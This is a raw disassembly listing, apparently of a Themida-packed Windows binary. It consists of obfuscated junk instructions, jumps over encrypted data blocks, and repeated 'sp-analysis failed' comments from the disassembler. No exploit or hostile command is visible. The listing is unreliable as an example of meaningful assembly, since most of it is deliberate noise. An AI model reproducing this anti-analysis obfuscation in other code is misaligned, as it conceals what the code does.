sub_603F17 endp ; sp-analysis failed
loc_603FDC: ; CODE XREF: sub_603F17+BBp
movzx edx, di
pop edi
mov cl, 0B6h
mov dx, 0CF41h
mov ecx, 707D700Bh
sbb al, 35h
mov edi, 5070AE6Ah
jg $+6
add edi, 10742CCBh
and bx, 80ECh
xor bx, 0E24Bh
call sub_604016
pop ebp
idiv dword ptr [eax+21h]
; ---------------------------------------------------------------------------
dw 0CC36h
; ---------------------------------------------------------------------------
rcr dword ptr [edi], 1
; =============== S U B R O U T I N E =======================================
sub_604016 proc near ; CODE XREF: Themida_:00604009p
cld
pop eax
jz loc_604023
sbb dx, 75DCh
loc_604023: ; CODE XREF: sub_604016+2j
mov ecx, 113AFF18h
mov dx, 69C7h
mov esi, eax
jmp loc_604043
; ---------------------------------------------------------------------------
db 0F5h
dd 6CACE899h, 0E0B10E9h, 42CE39F6h
db 17h, 2Dh, 10h
; ---------------------------------------------------------------------------
loc_604043: ; CODE XREF: sub_604016+18j
; sub_604016+45j
mov edx, 538153Fh
mov edi, ecx
jbe loc_604051
cld
loc_604051: ; CODE XREF: sub_604016+34j
call near ptr loc_60405D+1
cmp ch, [ebp-32h]
outsb
cmpsb
js short loc_604043
loc_60405D: ; CODE XREF: sub_604016:loc_604051p
cmp [esi-41h], esp
sub_604016 endp ; sp-analysis failed
fldenv byte ptr [edi]
pop eax
push esi
pop edi
clc
adc edx, 4DE79361h
pusha
call near ptr loc_604078+3
mov ebx, 724BED4Eh
loc_604078: ; CODE XREF: Themida_:0060406Dp
mov edi, 0F5EAE6Ah
xchg eax, [edx]
; ---------------------------------------------------------------------------
db 0
dd 61600000h, 0E8F48A61h, 0Bh, 990151B8h, 259D519Ch, 8B6D266Bh
dd 0BE665ADFh, 13E97427h, 0F6000000h, 711F11A9h, 0B40F18D2h
dd 60A957F6h, 0E382E5A8h, 0E2817E04h, 4F68D058h, 0CE9FCh
dd 5C890000h, 4087425Eh, 0AB01F36Bh, 8B66688Bh, 0C830FFEh
dd 0F000000h, 68Eh, 880F00h, 0F8000000h, 0EEE80FCh, 0ABF08166h
dd 6840FFFh, 0F000000h, 81h, 6E900h, 0DD5E0000h, 0FEB2B3B5h
dd 860Fh, 0CE80000h, 81000000h, 0E84A7AD1h, 836AB267h
dd 0FE0EF0Ah, 584h, 0C7816600h, 60598D21h, 58B0Fh, 81660000h
dd 8B6841E1h, 8B6661F3h, 0D3B70FF1h, 80F98B66h, 0B70F4FC7h
dd 2880FFAh, 8B000000h, 28D0FD6h, 0B6000000h, 0EDE181B0h
dd 0F6D6F4Dh, 187h, 65BEF900h, 811CFE4Ch, 2FC647C0h, 0E9CE8B64h
dd 14h, 702072B2h, 0AE43861Fh, 0C373FB18h, 108F1D3Ah, 0F12BFD71h
dd 0A3FA76BFh, 5E85Fh, 0C4300000h, 58F9CE3Eh, 12E981B7h
dd 36000000h, 0A8FF9800h, 50EBE16Ah, 53937064h, 0F0D8D3EFh
dd 0F78160A9h, 329A7F33h, 0D1DF8161h, 0F3CC068h, 68Eh
dd 29D68100h, 0E96AA2C6h, 7, 0B6A3BB6Fh, 60615DDDh, 11E9h
dd 0A7CC8C00h, 988C488Eh, 471AB9EBh, 186A7943h, 0B70F1737h
dd 8B6661F2h, 6E8F3h, 0F76E0000h, 4DB61353h, 0CDE68166h
dd 0DE959F9h, 0AD000000h, 0E58AD81Dh, 0D4193BACh, 51CB2B9Fh
dd 2DD98166h, 816650A6h, 5F234AEAh, 66C28B66h, 7783E781h
dd 830Fh, 0B7FC0000h, 0EE81667Ch, 0E9509AE9h, 12h, 0B5C5F186h
dd 305B692Bh, 5F254979h, 68F1539Dh, 535A42E5h, 7802BB66h
dd 3890F5Bh, 0F000000h, 0C6B8CBBFh, 0E94B92EBh, 0Ah, 63175899h
dd 91134455h, 6E947F3h, 0A4000000h, 0FBBF098Ah, 0E960FCF8h
dd 6, 0BA8B0DBCh, 6660B3C3h, 0D78BCE8Bh, 81666161h, 8B9D6EC7h
dd 60E38AD6h, 8BF28B66h, 0B70F61F3h, 13E9D9h, 31140000h
dd 0F7850AD1h, 74B40530h, 699149EDh, 2E687471h, 0BBE5B600h
dd 262D1E46h, 8BDBB70Fh, 0AE9FBh, 6B8D0000h, 9F52448Eh
dd 0C1C25299h, 5A5B5351h, 0FCFCCB8Bh, 0C294EF81h, 0F607B03h
dd 580h, 8D26B800h, 0F6157F5h, 78Eh, 5AB85200h, 5A4C1BDDh
dd 0E3816660h, 98BE7FD1h, 611538DBh, 0BFC78166h, 8B62B50Bh
dd 0ECB9FCFBh, 0E92383E9h, 14h, 0B9FA5143h, 4AE348EBh
dd 5757C467h, 15BBA910h, 0CD4D0743h, 0AE9h, 0F2B1E400h
dd 8028B76Ch, 52C2DDEDh, 5AE78A56h, 7279B85Ah, 66571B1Ch
dd 5B7B48B8h, 0F7D08166h, 0B72FB55Dh, 0F830F3Ah, 0E9000000h
dd 0Ah, 0FE51BFFFh, 0C0E6E17Fh, 0F60A4A2h, 483h, 79BB6600h
dd 0D780538Bh, 66615859h, 0FD4D9BEh, 82h, 0AE900h, 0E8220000h
dd 0B4EA040Fh, 143BF9A3h, 0FC78B66h, 384h, 0F0BF0F00h
dd 0BE6BC881h, 51FC3387h, 7D2E3DBEh, 80605B22h, 10E9E1D3h
dd 0C2000000h, 0E601B400h, 91559EE0h, 10915EDDh, 611B01C3h
dd 0E9F9E4B0h, 9, 11166131h, 219D75EEh, 85E081E1h, 0F646251h
dd 288h, 60D68B00h, 13E961h, 0F9950000h, 827BB7B5h, 0CE7F25A9h
dd 0FC178BE8h, 0BB4ABF12h, 0B1D98BBCh, 0DE8B6664h, 3800Fh
dd 0BF0F0000h, 79E281F8h, 66066EB1h, 4938C281h, 6850Fh
dd 0DF810000h, 242205BAh, 9E8h, 0C846BB00h, 0A9286687h
dd 81661CA3h, 5FC675C7h, 58EAF381h, 840F5676h, 2, 0E28141B0h
dd 5F00AA9Eh, 66F0BF0Fh, 1BC7E781h, 0BBF5C18Bh, 47A02713h
dd 0BE824B4h, 0FC000000h, 512DDEE3h, 84AFBDBCh, 0F58A12C4h
dd 0DF8BF85Eh, 208F61BFh, 0AE910h, 86D10000h, 3D4CB49Dh
dd 349AC76Dh, 7E96060h, 0D7000000h, 0DFAE80D3h, 800F487Ah
dd 0
; ---------------------------------------------------------------------------
popa
mov dx, 3D11h
popa
mov cx, 45ACh
mov ax, di
mov ah, 41h
mov si, cx
ja $+6
mov eax, edi
jmp loc_6044DF
; ---------------------------------------------------------------------------
db 92h
dd 5049CABFh, 0CDEFADB2h, 0B06103D6h, 0C92F4FF1h
db 9Ch, 0A1h, 0FCh
; ---------------------------------------------------------------------------
loc_6044DF: ; CODE XREF: Themida_:006044C6j
jmp loc_6044EC
; ---------------------------------------------------------------------------
dd 0E1D15618h, 0C844AC80h
; ---------------------------------------------------------------------------
loc_6044EC: ; CODE XREF: Themida_:loc_6044DFj
jmp loc_604500
; ---------------------------------------------------------------------------
db 77h, 9Eh, 22h
dd 0B5EF713h, 5B6CD62Ch, 0C7178C55h
; ---------------------------------------------------------------------------
loc_604500: ; CODE XREF: Themida_:loc_6044ECj
movsx esi, cx
call near ptr loc_60450C+2
cmp al, 52h
inc edi
dec ebx
loc_60450C: ; CODE XREF: Themida_:00604503p
mov ds:5FDC8A56h, gs
pop eax
sub edi, 1F8C14CFh
jnb loc_604524
mov ebx, 41FF90EAh
loc_604524: ; CODE XREF: Themida_:00604519j
mov ecx, eax
adc edx, 1DAF95DBh ; CODE XREF: Themida_:loc_604548j
jmp loc_604537
; ---------------------------------------------------------------------------
db 1, 39h, 37h
db 0FEh, 5, 72h
; ---------------------------------------------------------------------------
loc_604537: ; CODE XREF: Themida_:0060452Cj
push edx
call sub_60454F
fcmovu st, st(1)
fadd dword ptr [esi]
jo short loc_604548
hlt
; ---------------------------------------------------------------------------
dd 8149FD6Fh
; ---------------------------------------------------------------------------
loc_604548: ; CODE XREF: Themida_:00604541j
jnb short near ptr loc_604526+5
adc dl, [edx+4Dh]
push 0FFFFFF94h
; =============== S U B R O U T I N E =======================================
sub_60454F proc near ; CODE XREF: Themida_:00604538p
pop ebx
pop ecx
movsx ebx, dx
adc edx, 35554B0Ah
mov ecx, 76FF2041h
jmp loc_604574
; ---------------------------------------------------------------------------
db 0CCh
db 0A4h, 57h, 0B7h
dd 0E95B302Dh, 25135865h, 0A0195FC1h
; ---------------------------------------------------------------------------
loc_604574: ; CODE XREF: sub_60454F+10j
sub bx, 6376h
pusha
pusha
jg $+6
jmp loc_60458F
; ---------------------------------------------------------------------------
dw 153Dh
dd 0EA26CE95h
db 8Eh, 95h, 0E9h
; ---------------------------------------------------------------------------
loc_60458F: ; CODE XREF: sub_60454F+32j
popa
movzx ebx, di
popa
jo loc_6045AD
jmp loc_6045AD
; ---------------------------------------------------------------------------
db 7Ah
dd 4E4659C2h, 0D8878A62h, 0F364A174h
db 28h
; ---------------------------------------------------------------------------
loc_6045AD: ; CODE XREF: sub_60454F+45j
; sub_60454F+4Bj
call sub_6045B7
xchg eax, ecx
retn 0F3BEh
sub_60454F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 6Ah
; =============== S U B R O U T I N E =======================================
sub_6045B7 proc near ; CODE XREF: sub_60454F:loc_6045ADp
or esi, 6781B528h
pop eax
jnb loc_6045CB
pusha
push ecx
pop esi
movsx edi, dx
popa
loc_6045CB: ; CODE XREF: sub_6045B7+7j
mov edi, 4D6F3266h
call near ptr loc_6045DD+4
push edi
mov al, ds:0BCC7DFF1h
fcmovne st, st(2)
loc_6045DD: ; CODE XREF: sub_6045B7+19p
cmp eax, 0B745450Bh
sub_6045B7 endp ; sp-analysis failed
mov ds:0F28B5359h, eax
pop edi
jmp loc_6045F9
; ---------------------------------------------------------------------------
db 0D7h, 0CEh, 10h
dd 98C99366h, 0F99127Eh
; ---------------------------------------------------------------------------
das
loc_6045F9: ; CODE XREF: Themida_:006045E8j
jmp loc_604603
; ---------------------------------------------------------------------------
dw 8D0Eh
db 0E6h, 64h, 0BEh
; ---------------------------------------------------------------------------
loc_604603: ; CODE XREF: Themida_:loc_6045F9j
mov esi, 1FF36FD2h
jmp loc_604620
; ---------------------------------------------------------------------------
db 2 dup(0), 2
dd 0F4C5F662h, 5CB9D5AFh, 0E89CDAEEh, 4BE969B9h
; ---------------------------------------------------------------------------
loc_604620: ; CODE XREF: Themida_:00604608j
mov dx, di
mov ebx, ecx
mov di, 4F53h
jmp loc_604636
; ---------------------------------------------------------------------------
dw 2DC1h
dd 7AE3388Ah
db 94h, 0Fh
; ---------------------------------------------------------------------------
loc_604636: ; CODE XREF: Themida_:00604629j
jmp loc_60464E
; ---------------------------------------------------------------------------
db 93h
dd 0DE717391h, 4EC9A193h, 11B30263h, 0EFB47661h
; ---------------------------------------------------------------------------
push 0FFFFFFBEh
loc_60464E: ; CODE XREF: Themida_:loc_604636j
jmp loc_604666
; ---------------------------------------------------------------------------
db 4Bh
dd 0B2234DD5h, 32717F0Eh, 34DAD6h, 0D9E49D36h
db 72h, 15h
; ---------------------------------------------------------------------------
loc_604666: ; CODE XREF: Themida_:loc_60464Ej
sbb ax, 403h
mov dx, 3151h
cld
cmc
pusha
call near ptr loc_604680+4
push cs
add eax, 315C2AC2h
mov esi, eax
lodsd
loc_604680: ; CODE XREF: Themida_:00604672p
mov ebx, 521485E9h
pop edx
pop edi
push esi
jmp loc_604694
; ---------------------------------------------------------------------------
db 0C6h, 0, 88h
dd 6F4BA896h
; ---------------------------------------------------------------------------
loc_604694: ; CODE XREF: Themida_:00604688j
pop edx
popa
add esi, 314A6CEEh
mov si, 2657h
pusha
jz loc_6046AC
xor dx, 5169h
loc_6046AC: ; CODE XREF: Themida_:006046A1j
sub cl, 10h
popa
jmp loc_6046C6
; ---------------------------------------------------------------------------
db 51h, 4Dh, 67h
dd 8DD0E181h, 646A7D88h, 0EEFEDE02h
; ---------------------------------------------------------------------------
test dl, ch
loc_6046C6: ; CODE XREF: Themida_:006046B0j
mov dl, 0C2h
; START OF FUNCTION CHUNK FOR sub_60470D
loc_6046C8: ; CODE XREF: sub_60470D+18j
call loc_6046DB
xchg eax, ebx
retf 90C5h
; END OF FUNCTION CHUNK FOR sub_60470D
; ---------------------------------------------------------------------------
db 0C6h, 36h, 8Bh
dd 0E676495h
db 0DAh, 3Ch, 8Dh
; ---------------------------------------------------------------------------
loc_6046DB: ; CODE XREF: sub_60470D:loc_6046C8p
mov esi, 378D5697h
pop edx
mov al, 27h
mov eax, 6D7BCF14h
movsx edx, di
mov ax, bx
mov edi, 72A4E363h
mov edx, eax
mov bx, di
mov ecx, edi
call near ptr sub_60470D
pop eax
xlat
pop ecx
and ebx, 30DC514Dh
lock mov cl, 26h
; ---------------------------------------------------------------------------
db 0DBh
db 24h
; =============== S U B R O U T I N E =======================================
sub_60470D proc far ; CODE XREF: Themida_:006046FAp
; FUNCTION CHUNK AT 006046C8 SIZE 00000009 BYTES
mov edi, 6F4FD18Dh
pop esi
mov esi, eax
call sub_60472B
call near ptr 0EC231378h
cmp ecx, [esi]
cmpsb
cwde
mov ch, 0
loope loc_6046C8
dec edi
fist word ptr [ebp-28h]
sub_60470D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60472B proc near ; CODE XREF: sub_60470D+8p
call sub_60473C
or [edx-13197A6Dh], esp
adc eax, 0CD5A4E8Eh
xchg eax, ebx
sub_60472B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_60473C proc near ; CODE XREF: sub_60472Bp
jmp near ptr sub_60474D
sub_60473C endp
; ---------------------------------------------------------------------------
aad 81h
inc edi
mov al, 0E7h
mov ebx, 9EBFC67Bh
jp short loc_60474E
; =============== S U B R O U T I N E =======================================
sub_60474D proc far ; CODE XREF: sub_60473Cj
pop edi
loc_60474E: ; CODE XREF: Themida_:0060474Bj
pop edx
mov edx, ebx
stc
mov edx, ecx
jmp loc_604762
; ---------------------------------------------------------------------------
db 3Bh, 51h, 0A2h
dd 0EC1D594Bh
db 0BAh, 3Eh
; ---------------------------------------------------------------------------
loc_604762: ; CODE XREF: sub_60474D+7j
push edi
and edi, 4D7E45B8h
pop ebx
mov si, bx
jmp loc_604777
; ---------------------------------------------------------------------------
dw 7F5Ah
db 2Dh, 28h, 0B6h
; ---------------------------------------------------------------------------
loc_604777: ; CODE XREF: sub_60474D+20j
and esi, 2AD57052h
jmp loc_604790
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 7Fh
dd 0F7C22014h, 4033D997h, 0AD6BDA67h
; ---------------------------------------------------------------------------
loc_604790: ; CODE XREF: sub_60474D+30j
call near ptr loc_604796+5
insb
loc_604796: ; CODE XREF: sub_60474D:loc_604790p
mov word ptr [edx+ebx-8748A34h], ds
sub_60474D endp ; sp-analysis failed
pop edx
call sub_6047AE
xor eax, 30D574DCh
adc ebx, ebp
fmul dword ptr [edx+4Eh]
pop esi
; =============== S U B R O U T I N E =======================================
sub_6047AE proc near ; CODE XREF: Themida_:0060479Ep
push ebx
mov edx, 1F2D4F39h
pop esi
pop ebx
pusha
sbb ebx, 3D3217AAh
cld
popa
mov bl, dh
and dx, 0C02Bh
movsx ebx, bx
cld
jge loc_6047D3
movsx edi, bx
loc_6047D3: ; CODE XREF: sub_6047AE+1Cj
mov edi, esi
pusha
jmp loc_6047EF
; ---------------------------------------------------------------------------
db 21h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0E0h, 95h, 0EBh
dd 99820BC4h, 624469Fh, 847A7304h
db 21h, 0Ah, 75h
; ---------------------------------------------------------------------------
loc_6047EF: ; CODE XREF: sub_6047AE+28j
ja loc_6047FA
sub bx, 70AFh
loc_6047FA: ; CODE XREF: sub_6047AE:loc_6047EFj
popa
call near ptr loc_604810+1
inc ebp
xor [ebx-6907FBABh], ah
fcomp st(5)
pop ds
insd
mov eax, ds:0B54DFF63h
loc_604810: ; CODE XREF: sub_6047AE+4Dp
mov ds:2860Fh, eax
sub_6047AE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 2 dup(0), 51h
; ---------------------------------------------------------------------------
pop edi
pop edi
mov cx, 6D7Eh
mov cx, 15F0h
jmp loc_60482E
; ---------------------------------------------------------------------------
and al, 62h
mov eax, 6F09DA7Dh
loc_60482E: ; CODE XREF: Themida_:00604822j
mov edx, 1C9C60FEh
mov cx, di
jmp loc_604845
; ---------------------------------------------------------------------------
db 7Ah
dd 0AB380206h, 2BA43070h
; ---------------------------------------------------------------------------
sahf
loc_604845: ; CODE XREF: Themida_:00604836j
jb loc_60484D
mov bl, 59h
loc_60484D: ; CODE XREF: Themida_:loc_604845j
mov dl, ah
jmp loc_60485D
; ---------------------------------------------------------------------------
dd 0A2B65E68h, 0D80880Ah
db 87h
; ---------------------------------------------------------------------------
loc_60485D: ; CODE XREF: Themida_:0060484Fj
or dh, 0D5h
mov dh, 89h
mov ah, 56h
call near ptr loc_604874+3
xchg eax, ebp
cli
add eax, 64444836h
xor al, 0BAh
mov dh, 66h
loc_604874: ; CODE XREF: Themida_:00604864p
jmp near ptr 8BC676D3h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
pop eax
or bl, 0F0h
mov dx, si
xor di, 2F2Fh
mov dx, 93E3h
push eax
adc dx, 0F3B5h
pop edi
jnz loc_6048A6
jmp loc_6048A6
; ---------------------------------------------------------------------------
dd 0D4622899h, 4A47EBAEh
db 0D3h, 85h
; ---------------------------------------------------------------------------
loc_6048A6: ; CODE XREF: Themida_:00604891j
; Themida_:00604897j
push ecx
add dx, 3CE6h
pop esi
mov ecx, 75212287h
mov bx, si
add bx, 0FF5Eh
sub si, 0D8E0h
mov eax, 77B63227h
clc
jnb loc_6048D5
jo loc_6048D5
mov ax, 5419h
loc_6048D5: ; CODE XREF: Themida_:006048C5j
; Themida_:006048CBj
js loc_6048E0
push esi
movzx edx, di
pop edx
loc_6048E0: ; CODE XREF: Themida_:loc_6048D5j
or cx, 5E84h
sub ecx, 1E96A8E6h
cmc
push ecx
push edi
pusha
popa
pop esi
pop edi
stc
jmp loc_60490C
; ---------------------------------------------------------------------------
dd 91520E6Fh, 0E25BE1Ch, 977CCBE8h, 61F407C4h, 0ACB84B83h
; ---------------------------------------------------------------------------
loc_60490C: ; CODE XREF: Themida_:006048F3j
pusha
jmp loc_604923
; ---------------------------------------------------------------------------
dw 85CDh
dd 0F90D8A70h, 0B42C517Dh, 9453EA9Dh
db 66h, 6Fh, 0DFh
; ---------------------------------------------------------------------------
loc_604923: ; CODE XREF: Themida_:0060490Dj
cmc
popa
call sub_604930
or [esi-2F064969h], ch
; =============== S U B R O U T I N E =======================================
sub_604930 proc near ; CODE XREF: Themida_:00604925p
pop edx
stc
jbe loc_604942
pusha
push ebx
pop edi
sub edi, 95A3A26h
popa
loc_604942: ; CODE XREF: sub_604930+2j
cmc
jmp loc_60495C
; ---------------------------------------------------------------------------
dd 5A181787h, 0FF0CE77h, 0B72DDC1Ch, 785AEBE3h, 0ABE989AAh
; ---------------------------------------------------------------------------
loc_60495C: ; CODE XREF: sub_604930+13j
jmp loc_604974
; ---------------------------------------------------------------------------
db 9Ch, 0FCh, 0A1h
dd 0E779765Ch, 55BC293Ah, 0E7E20447h, 72DB44DDh
; ---------------------------------------------------------------------------
loc_604974: ; CODE XREF: sub_604930:loc_60495Cj
add dh, 5Fh
call sub_604981
mov esp, 0FEB9C752h
sub_604930 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_604981 proc near ; CODE XREF: sub_604930+47p
jz $+6
pop ebx
adc ebx, 22C18FFh
jb $+6
mov esi, eax
mov di, bx
or edi, 15E30805h
sub al, 49h
sub esi, 6FFD7C0Dh
jg loc_6049B0
mov dl, 49h
loc_6049B0: ; CODE XREF: sub_604981+27j
; sub_604981+3Bj
mov edi, ebx
movsx edi, ax
pusha
call near ptr loc_6049C0+2
pop edx
jns short near ptr loc_6049B0+1
das
lodsd
loc_6049C0: ; CODE XREF: sub_604981+35p
mov bh, [eax+5FD08B66h]
sub_604981 endp ; sp-analysis failed
pusha
push ebx
pop ebx
popa
popa
add ebx, 79A550C8h
push eax
xor bl, 20h
pop ecx
xor edx, 4690E2B1h
jmp loc_6049F2
; ---------------------------------------------------------------------------
db 5, 18h, 98h
dd 71C22267h, 5567911Fh, 0F28C3A70h
db 39h, 82h
; ---------------------------------------------------------------------------
loc_6049F2: ; CODE XREF: Themida_:006049DCj
movsx edi, di
pusha
jmp loc_604A05
; ---------------------------------------------------------------------------
db 8Bh
dd 44AD1982h, 0D7C37E2Bh
db 1Ah
; ---------------------------------------------------------------------------
loc_604A05: ; CODE XREF: Themida_:006049F6j
push ebx
mov al, 5
pop edx
popa
mov edx, ecx
push ebx
mov edi, 9FD97DFh
pop eax
mov dx, di
jp loc_604A20
mov si, 0F9F6h
loc_604A20: ; CODE XREF: Themida_:00604A16j
mov dx, cx
clc
jmp loc_604A36
; ---------------------------------------------------------------------------
db 0E2h, 53h, 2Ch
dd 34CFD25Eh, 655C1E67h
; ---------------------------------------------------------------------------
pop ebp
stc
loc_604A36: ; CODE XREF: Themida_:00604A24j
mov bx, si
push edx
pop eax
mov ecx, ebx
mov esi, 367F1DC2h
jo loc_604A4B
movsx edi, si
loc_604A4B: ; CODE XREF: Themida_:00604A42j
call near ptr loc_604A5A+1
push ebx
sub byte ptr [esi], 0A8h
rep lodsb ; CODE XREF: Themida_:00604A58j
dec ecx
xchg eax, edx
jns short near ptr loc_604A54+1
loc_604A5A: ; CODE XREF: Themida_:loc_604A4Bp
loop loc_604A6B
mov eax, [ebx]
; ---------------------------------------------------------------------------
dw 0
dd 0FFB70F00h, 80EF805Ah
db 8Bh, 0DEh, 0E8h
; ---------------------------------------------------------------------------
loc_604A6B: ; CODE XREF: Themida_:loc_604A5Aj
adc al, 0
; ---------------------------------------------------------------------------
db 2 dup(0), 0EFh
dd 99D50F1Fh, 61953608h, 0A3CC68D2h, 604404D1h, 66E0F27Dh
dd 33B6CB81h, 0E8D78A5Eh, 0Ch, 5F424665h, 50476110h, 929D6CC0h
dd 11E960h, 0DB370000h, 0BF937CE7h, 989C6A85h, 0A62466DBh
dd 0E9C07CC6h, 0Ch, 5A636660h, 27CEC440h, 4D4182A3h, 0B70F5A61h
dd 0BE8C8h, 8F420000h, 0CF83C50Fh, 0F9A6E1BFh, 38F0F60h
dd 0F000000h, 665BF6B7h, 0D7ECE281h, 0FCFA88BBh, 0F480513Fh
dd 0E850593Dh, 0Ah, 7111E325h, 0F10CA10Ch, 0B70FC293h
dd 8B595EC2h, 1850FD7h, 0F5000000h, 28A0Fh, 0C88A0000h
dd 5E9h, 9D22F800h, 81FC3EB8h, 0A4225FE1h, 66C0B743h, 0BA66F98Bh
dd 8B661C6Eh, 0CB8AF9DFh, 8A53ED80h, 0ECB966F5h, 6800F63h
dd 81000000h, 5091E9D2h, 0EB81667Fh, 0C9815CAAh, 4A1F7748h
dd 16800F56h, 0E9000000h, 11h, 18E7B741h, 0E6F4160Ah, 8D308F3Dh
dd 0B7257168h, 0C2805B6Bh, 0C98160B5h, 4AE61BF3h, 0F61F0B2h
dd 8Bh, 12E8F900h, 74000000h, 0AA398A34h, 908CC0B0h, 0C05EAA67h
dd 0A101C96Ah, 0BF0F606Fh, 615857FAh, 81666059h, 0F16D9C3h
dd 1785h, 12E900h, 0CE3C0000h, 5B2BCFAFh, 8202E09Ah, 0C0589C2Ah
dd 72797BA4h, 14E961h, 0ED440000h, 2F3DC619h, 0F9A1857h
dd 38DCD926h, 0FBE44775h, 81665A6Fh, 0E9EC8FE3h, 5, 0C306BD1Dh
dd 0E281661Fh, 0AE98AC2h, 0E000000h, 0A7E3D3A8h, 122787EFh
dd 0D8B70F68h, 8166C8B3h, 0F9E42CFh, 58Eh, 0E1816600h
dd 0DD8A580Fh, 0DB8166FCh, 0D18B68B3h, 2860Fh, 0FD8A0000h
dd 5CEED281h, 8B660788h, 0F5350CFh, 89h, 0E9585E00h, 7
dd 0BC2AA296h, 0E96640ACh, 5, 453C52BBh, 890F20h, 57000000h
dd 0DE9h, 374F8900h, 197CF544h, 485F2A17h, 805A7AA7h, 0E86077CFh
dd 7, 7D6B0A97h, 0BB8FE45Bh, 26367D71h, 6800F59h, 81000000h
dd 0B6BB05DFh, 80F86151h, 8A0F75C4h, 4, 5EA5B752h, 0AE8h
dd 43376400h, 0A6138369h, 0E914BD4Bh, 12h, 625408F7h, 21B9F048h
dd 7656E725h, 0AFDB683h, 0F583E59h, 0A80h, 4860F00h, 66000000h
dd 664F34BEh, 50AFC881h, 810F1CB3h, 12h, 0DE9h, 0E6B22B00h
dd 0A5CF4993h, 0E5818377h, 830FA451h, 0
; ---------------------------------------------------------------------------
mov ah, bl
jmp loc_604D14
; ---------------------------------------------------------------------------
db 3Eh
dd 0C7B338BAh, 60A8B530h, 0EA63B6B1h
; ---------------------------------------------------------------------------
loc_604D14: ; CODE XREF: Themida_:00604D02j
and ah, 9Dh
sbb esi, 769E322h
mov edx, eax
mov cx, 0F295h
jo loc_604D2C
or bh, 0EFh
loc_604D2C: ; CODE XREF: Themida_:00604D23j
sub di, 0F10Bh
jnp $+6
push esi
clc
pop edi
jmp loc_604D4C
; ---------------------------------------------------------------------------
db 3Dh
dd 0EBAFEA61h, 6570A636h, 8C425529h
; ---------------------------------------------------------------------------
loc_604D4C: ; CODE XREF: Themida_:00604D3Aj
jmp loc_604D57
; ---------------------------------------------------------------------------
db 0AFh, 38h, 0CEh
db 93h, 91h, 73h
; ---------------------------------------------------------------------------
loc_604D57: ; CODE XREF: Themida_:loc_604D4Cj
stc
jmp loc_604D6C
; ---------------------------------------------------------------------------
db 3Fh, 54h, 5Bh
dd 3A33CB7Dh, 0F87FBFEDh, 95CB1F4Bh
; ---------------------------------------------------------------------------
loc_604D6C: ; CODE XREF: Themida_:00604D58j
or dx, 0C9ADh
mov eax, 34FFD8A3h
mov ebx, 63CED327h
mov edi, 429A20E8h
call near ptr loc_604D89+2
xchg eax, ebp
xor dh, [edx-60h]
loc_604D89: ; CODE XREF: Themida_:00604D80p
adc byte ptr [eax-761C7E9Ah], 4
pop ebx
mov ebx, 75C0DF41h
push esi
call sub_604DAF
iret
; ---------------------------------------------------------------------------
db 0C0h, 0B5h, 0B8h
dd 83E58B66h, 0C2FE6AAFh, 208CF035h
db 0CAh, 74h, 2Bh
; =============== S U B R O U T I N E =======================================
sub_604DAF proc near ; CODE XREF: Themida_:00604D97p
var_2584D030 = byte ptr -2584D030h
call loc_604DC4
mov ds:1D7CD906h, eax
sar dword ptr [esi+29h], 1
sbb [esp+edi*8-2584D02Fh], ch
cmpsd
sub_604DAF endp ; sp-analysis failed
loc_604DC4: ; CODE XREF: sub_604DAFp
pop edi
pop ebx
pop ecx
movzx ebx, si
jnp loc_604DD3
mov ax, cx
loc_604DD3: ; CODE XREF: Themida_:00604DCAj
mov eax, 328352EDh
pusha
jb loc_604DE5
jz $+6
loc_604DE5: ; CODE XREF: Themida_:00604DD9j
pusha
jmp loc_604DFD
; ---------------------------------------------------------------------------
db 97h
dd 872E79BFh, 0C02062FCh, 5CD8DF1Ch, 929218DFh
db 0D4h
; ---------------------------------------------------------------------------
loc_604DFD: ; CODE XREF: Themida_:00604DE6j
mov di, 0DD27h
popa
popa
pusha
mov dx, si
mov esi, edx
popa
mov edi, 7FE46A54h
jmp loc_604E1A
; ---------------------------------------------------------------------------
fist word ptr [edi-41E97B0Fh]
loc_604E1A: ; CODE XREF: Themida_:00604E0Fj
mov bx, 1FE9h
pusha
mov di, 0BE58h
popa
xor si, 4455h
mov ch, 7Dh
mov ecx, 2103F70Eh
jo loc_604E37
clc
loc_604E37: ; CODE XREF: Themida_:00604E30j
movsx edx, ax
push ecx
push ebx
pop ebx
pop esi
jmp loc_604E48
; ---------------------------------------------------------------------------
jmp short loc_604E46
; ---------------------------------------------------------------------------
db 73h
; ---------------------------------------------------------------------------
loc_604E46: ; CODE XREF: Themida_:00604E43j
popa
; ---------------------------------------------------------------------------
db 0C0h
; ---------------------------------------------------------------------------
loc_604E48: ; CODE XREF: Themida_:00604E3Ej
clc
mov cx, si
xor cx, 2358h
jz loc_604E5A
movsx esi, si
loc_604E5A: ; CODE XREF: Themida_:00604E51j
cld
push ecx
add ecx, 650E2735h
pop eax
mov di, 9250h
jmp loc_604E77
; ---------------------------------------------------------------------------
dd 0F5AE3683h, 0F2DC0B2Eh
db 0E9h, 6Eh, 8Fh
; ---------------------------------------------------------------------------
loc_604E77: ; CODE XREF: Themida_:00604E67j
jge loc_604E90
jmp loc_604E90
; ---------------------------------------------------------------------------
dw 0B9BAh
dd 78761D2Bh, 864B7156h, 5BD5A1E7h
; ---------------------------------------------------------------------------
loc_604E90: ; CODE XREF: Themida_:loc_604E77j
; Themida_:00604E7Dj
jmp loc_604EA5
; ---------------------------------------------------------------------------
db 20h, 0F3h, 0A4h
db 0CCh
db 5Fh, 3Ah, 71h
dd 0D2EC7567h, 0A6FE6645h
db 8
; ---------------------------------------------------------------------------
loc_604EA5: ; CODE XREF: Themida_:loc_604E90j
stc
jmp loc_604EB6
; ---------------------------------------------------------------------------
db 0DBh
dd 6BBD6084h, 0C841575Eh
db 38h, 51h
; ---------------------------------------------------------------------------
loc_604EB6: ; CODE XREF: Themida_:00604EA6j
js loc_604EC7
jmp loc_604EC7
; ---------------------------------------------------------------------------
db 78h, 0Bh, 36h
; ---------------------------------------------------------------------------
push es
mov dh, 1Ah
loc_604EC7: ; CODE XREF: Themida_:loc_604EB6j
; Themida_:00604EBCj
push eax
mov di, ax
pop eax
or di, 201h ; CODE XREF: Themida_:00604EEAj
mov cx, dx
mov edx, 66B54C52h
